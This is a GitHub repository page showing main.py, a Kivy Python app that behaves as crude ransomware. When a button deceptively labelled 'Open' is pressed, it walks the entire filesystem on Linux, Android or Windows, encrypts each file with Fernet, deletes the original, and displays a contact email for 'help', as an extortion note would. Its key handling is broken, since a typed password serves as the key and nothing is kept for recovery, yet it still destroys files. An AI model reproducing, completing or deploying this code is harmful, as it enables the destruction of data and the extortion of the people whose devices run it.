-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.py
More file actions
62 lines (53 loc) · 2.2 KB
/
Copy pathmain.py
File metadata and controls
62 lines (53 loc) · 2.2 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import os
import sys
import platform
from cryptography.fernet import Fernet
from kivy.app import App
from kivy.uix.boxlayout import BoxLayout
from kivy.uix.label import Label
from kivy.uix.textinput import TextInput
from kivy.uix.button import Button
# Function to encrypt a file
def encrypt_file(filepath, password):
try:
with open(filepath, 'rb') as f:
data = f.read()
fernet = Fernet(password)
encrypted_data = fernet.encrypt(data)
with open(filepath + '.encrypted', 'wb') as f:
f.write(encrypted_data)
os.remove(filepath)
print("Encryption successful!")
except Exception as e:
print(f"Error: {str(e)}")
class EncryptionApp(App):
def build(self):
self.layout = BoxLayout(orientation='vertical')
self.password_input = TextInput(hint_text='Enter decryption password')
self.encrypt_button = Button(text='Open', on_press=self.encrypt_files)
self.help_label = Label(text='Contact help jstarclintin@gmail.com', color=(1, 0, 0, 1)) # Added help label
self.layout.add_widget(Label(text='Encryption Program'))
self.layout.add_widget(self.password_input)
self.layout.add_widget(self.encrypt_button)
self.layout.add_widget(self.help_label) # Added help label
return self.layout
def encrypt_files(self, instance):
password = self.password_input.text.encode() # Get password from TextInput
system = platform.system()
if system == "Linux": # Linux-based systems (including Android)
root_folders = ["/", "/storage/emulated/0/"]
elif system == "Windows": # Windows
root_folders = ["C:\\"]
else:
print("Unsupported operating system.")
return
for root_folder in root_folders:
try:
for root, _, files in os.walk(root_folder):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, password)
except Exception as e:
print(f"Error while walking directory: {str(e)}")
if __name__ == "__main__":
EncryptionApp().run()